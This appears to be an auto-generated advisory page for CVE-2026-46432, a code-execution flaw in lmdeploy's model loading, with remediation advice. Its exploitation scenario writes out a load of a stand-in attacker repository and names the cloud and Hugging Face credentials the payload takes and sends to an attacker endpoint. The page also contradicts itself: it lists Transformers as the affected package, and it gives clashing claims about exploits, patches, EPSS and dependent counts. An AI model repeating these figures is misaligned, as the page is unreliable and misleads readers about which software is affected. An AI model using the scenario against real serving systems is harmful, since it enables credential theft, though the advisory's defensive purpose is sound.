CVE-2026-46432: Transformers hardcoded

Q: Is CVE-2026-46432 actively exploited?

No confirmed active exploitation of CVE-2026-46432 has been reported, but organizations should still patch proactively.

Q: How to fix CVE-2026-46432?

1. Upgrade lmdeploy to 0.13.0 (the patched release that removes unconditional trust_remote_code=True). 2. Audit all deployment configurations, CI/CD pipelines, Kubernetes manifests, Helm charts, and serving scripts for any user-controllable or externally-sourced model path inputs — treat these as untrusted input requiring validation. 3. Implement an allowlist of approved HuggingFace model repositories (e.g., via network egress policy or a validation layer) and block serving processes from loading models outside this list. 4. Run lmdeploy under a dedicated least-privilege service account — avoid injecting cloud credentials as environment variables; use IAM instance roles or secrets managers with scoped, short-lived credentials. 5. Apply container security controls (seccomp, AppArmor, no-new-privileges, read-only rootfs where possible) to limit post-exploitation blast radius. 6. Monitor for anomalous outbound network connections, unexpected subprocess spawning, or file writes originating from lmdeploy processes during model initialization as indicators of exploitation.

Q: What systems are affected by CVE-2026-46432?

This vulnerability affects the following AI/ML architecture patterns: LLM inference serving, model serving infrastructure, MLOps pipelines, multi-tenant AI platforms, GPU inference clusters.

Q: What is the CVSS score for CVE-2026-46432?

CVE-2026-46432 has a CVSS v3.1 base score of 7.8 (HIGH). The EPSS exploitation probability is 0.14%.

CISO Take

lmdeploy unconditionally passes trust_remote_code=True to HuggingFace Transformers APIs during model initialization, meaning any attacker who can influence the model path fed to a serving process can execute arbitrary Python code with no user opt-in required and no version of lmdeploy ≤0.12.3 is exempt. With 8,012 downstream dependents and lmdeploy routinely deployed as a GPU-backed serving daemon with access to cloud credentials, HuggingFace tokens, and internal network resources, the blast radius for LLM inference infrastructure teams is significant. The attack surface is broader than the local CVSS 7.8 vector implies: in Kubernetes, managed inference platforms, and CI/CD-driven deployments, model path control is achievable via configuration tampering or insider access — not host-level compromise. Upgrade to lmdeploy 0.13.0 immediately; as an interim control, enforce an allowlist of trusted model sources and audit all deployment configs for externally-supplied model identifiers.

Sources: NVD GitHub Advisory ATLAS OpenSSF

What is the risk?

High risk with elevated blast radius in cloud-native and multi-tenant AI serving environments. The CVSS 7.8 local attack vector understates real-world exposure: in Kubernetes, CI/CD, and managed inference platforms, controlling a model path requires configuration access rather than direct host compromise. The vulnerability is unconditional — no operator override or explicit opt-in can remove the exposure on any lmdeploy version ≤0.12.3. An OpenSSF Scorecard of 4.7/10 signals weak supply chain controls for the package itself, and 29 prior CVEs in lmdeploy indicate a pattern of insufficient security rigor. No public exploit or scanner template exists yet, but the attack primitive is well-understood and requires no specialized AI/ML knowledge — only the ability to register a HuggingFace repository and modify a deployment config.

How does the attack unfold?

Configuration Tampering

Attacker gains write access to deployment configuration (Kubernetes ConfigMap, CI/CD pipeline variable, or managed platform config) and substitutes the model path with an attacker-controlled HuggingFace repository identifier.

AML.T0010.003

Malicious Model Staging

Attacker creates and publishes a HuggingFace repository containing a malicious modeling script that executes a payload at import time when loaded by the HuggingFace Transformers library.

AML.T0058

Remote Code Execution

lmdeploy calls AutoConfig.from_pretrained(model_path, trust_remote_code=True); Transformers downloads and executes the malicious Python script with the full privileges of the serving process.

AML.T0018.002

Credential Harvest and Lateral Movement

Malicious code exfiltrates environment variables containing HuggingFace tokens, cloud credentials, and API keys to an attacker-controlled endpoint, then optionally pivots to internal services reachable from the serving host.

AML.T0055

Configuration Tampering

Attacker gains write access to deployment configuration (Kubernetes ConfigMap, CI/CD pipeline variable, or managed platform config) and substitutes the model path with an attacker-controlled HuggingFace repository identifier.

AML.T0010.003

Malicious Model Staging

Attacker creates and publishes a HuggingFace repository containing a malicious modeling script that executes a payload at import time when loaded by the HuggingFace Transformers library.

AML.T0058

Remote Code Execution

lmdeploy calls AutoConfig.from_pretrained(model_path, trust_remote_code=True); Transformers downloads and executes the malicious Python script with the full privileges of the serving process.

AML.T0018.002

Credential Harvest and Lateral Movement

Malicious code exfiltrates environment variables containing HuggingFace tokens, cloud credentials, and API keys to an attacker-controlled endpoint, then optionally pivots to internal services reachable from the serving host.

AML.T0055

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
Transformers	pip	< 0.13.0	`0.13.0`
162.2K OpenSSF 6.5 8.3K dependents Pushed 5d ago 42% patched ~87d to patch Full package profile →

Do you use Transformers? You're affected.

How severe is it?

CVSS 3.1

7.8 / 10

EPSS

0.1%

chance of exploitation in 30 days

Higher than 4% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Moderate

Exploitation Confidence

medium

○ CISA SSVC: Public PoC

Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV Local

AC Low

PR Low

UI None

S Unchanged

C High

I High

A High

What should I do?

6 steps

Upgrade lmdeploy to 0.13.0 (the patched release that removes unconditional trust_remote_code=True).
Audit all deployment configurations, CI/CD pipelines, Kubernetes manifests, Helm charts, and serving scripts for any user-controllable or externally-sourced model path inputs — treat these as untrusted input requiring validation.
Implement an allowlist of approved HuggingFace model repositories (e.g., via network egress policy or a validation layer) and block serving processes from loading models outside this list.
Run lmdeploy under a dedicated least-privilege service account — avoid injecting cloud credentials as environment variables; use IAM instance roles or secrets managers with scoped, short-lived credentials.
Apply container security controls (seccomp, AppArmor, no-new-privileges, read-only rootfs where possible) to limit post-exploitation blast radius.
Monitor for anomalous outbound network connections, unexpected subprocess spawning, or file writes originating from lmdeploy processes during model initialization as indicators of exploitation.

What does CISA's SSVC say?

Decision Attend

Exploitation poc

Automatable No

Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Supply Chain Code Execution Inference Model Framework AML.T0010.003 - Model AML.T0018.002 - Embed Malware AML.T0050 - Command and Scripting Interpreter AML.T0055 - Unsecured Credentials AML.T0058 - Publish Poisoned Models

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Article 9 - Risk management system

ISO 42001

A.6.1.6 - AI supply chain risk management

NIST AI RMF

MAP 5.2 - AI supply chain risks are identified and assessed

OWASP LLM Top 10

LLM03:2025 - Supply Chain

Frequently Asked Questions

What is CVE-2026-46432?

lmdeploy unconditionally passes trust_remote_code=True to HuggingFace Transformers APIs during model initialization, meaning any attacker who can influence the model path fed to a serving process can execute arbitrary Python code with no user opt-in required and no version of lmdeploy ≤0.12.3 is exempt. With 8,012 downstream dependents and lmdeploy routinely deployed as a GPU-backed serving daemon with access to cloud credentials, HuggingFace tokens, and internal network resources, the blast radius for LLM inference infrastructure teams is significant. The attack surface is broader than the local CVSS 7.8 vector implies: in Kubernetes, managed inference platforms, and CI/CD-driven deployments, model path control is achievable via configuration tampering or insider access — not host-level compromise. Upgrade to lmdeploy 0.13.0 immediately; as an interim control, enforce an allowlist of trusted model sources and audit all deployment configs for externally-supplied model identifiers.

Is CVE-2026-46432 actively exploited?

No confirmed active exploitation of CVE-2026-46432 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-46432?

1. Upgrade lmdeploy to 0.13.0 (the patched release that removes unconditional trust_remote_code=True). 2. Audit all deployment configurations, CI/CD pipelines, Kubernetes manifests, Helm charts, and serving scripts for any user-controllable or externally-sourced model path inputs — treat these as untrusted input requiring validation. 3. Implement an allowlist of approved HuggingFace model repositories (e.g., via network egress policy or a validation layer) and block serving processes from loading models outside this list. 4. Run lmdeploy under a dedicated least-privilege service account — avoid injecting cloud credentials as environment variables; use IAM instance roles or secrets managers with scoped, short-lived credentials. 5. Apply container security controls (seccomp, AppArmor, no-new-privileges, read-only rootfs where possible) to limit post-exploitation blast radius. 6. Monitor for anomalous outbound network connections, unexpected subprocess spawning, or file writes originating from lmdeploy processes during model initialization as indicators of exploitation.

What systems are affected by CVE-2026-46432?

This vulnerability affects the following AI/ML architecture patterns: LLM inference serving, model serving infrastructure, MLOps pipelines, multi-tenant AI platforms, GPU inference clusters.

What is the CVSS score for CVE-2026-46432?

CVE-2026-46432 has a CVSS v3.1 base score of 7.8 (HIGH). The EPSS exploitation probability is 0.14%.

What is the AI security impact?

Affected AI Architectures

LLM inference servingmodel serving infrastructureMLOps pipelinesmulti-tenant AI platformsGPU inference clusters

MITRE ATLAS Techniques

AML.T0010.003 Model

AML.T0018.002 Embed Malware

AML.T0050 Command and Scripting Interpreter

AML.T0055 Unsecured Credentials

AML.T0058 Publish Poisoned Models

Compliance Controls Affected

EU AI Act: Article 9

ISO 42001: A.6.1.6

NIST AI RMF: MAP 5.2

OWASP LLM Top 10: LLM03:2025

What are the technical details?

Original Advisory

LMDeploy is a toolkit for compressing, deploying, and serving large language models. In versions 0.12.3 and prior, LMDeploy is vulnerable to arbitrary code execution through hardcoded "trust_remote_code=True" in multiple HuggingFace model-loading call sites. At time of publication, there are no publicly available patches.

Exploitation Scenario

An attacker with write access to a Kubernetes ConfigMap or a shared MLOps platform's model registry configuration modifies the model identifier parameter to point to an attacker-controlled HuggingFace repository (e.g., attacker-org/malicious-llm). The repository contains a well-formed model card and a malicious modeling script whose import-time code reads HUGGING_FACE_HUB_TOKEN, AWS_SECRET_ACCESS_KEY, and other credentials from the process environment, then exfiltrates them to an attacker-controlled HTTPS endpoint. When the lmdeploy pod restarts on the next scheduled rollout or node replacement, lmdeploy calls AutoConfig.from_pretrained('attacker-org/malicious-llm', trust_remote_code=True), HuggingFace Transformers downloads and executes the script, and the payload completes silently — the serving process continues normally, responses appear legitimate, and no anomaly appears in model outputs or application logs. The attacker now holds valid cloud credentials and a HuggingFace token with access to private model repositories.

Weaknesses (CWE)

CWE-94 Improper Control of Generation of Code ('Code Injection') Primary CWE-94 Improper Control of Generation of Code ('Code Injection') Primary CWE-94 Improper Control of Generation of Code ('Code Injection')

CWE-94 — Improper Control of Generation of Code ('Code Injection'): The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

[Architecture and Design] Refactor your program so that you do not have to dynamically generate code.
[Architecture and Design] Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Source: MITRE CWE corpus.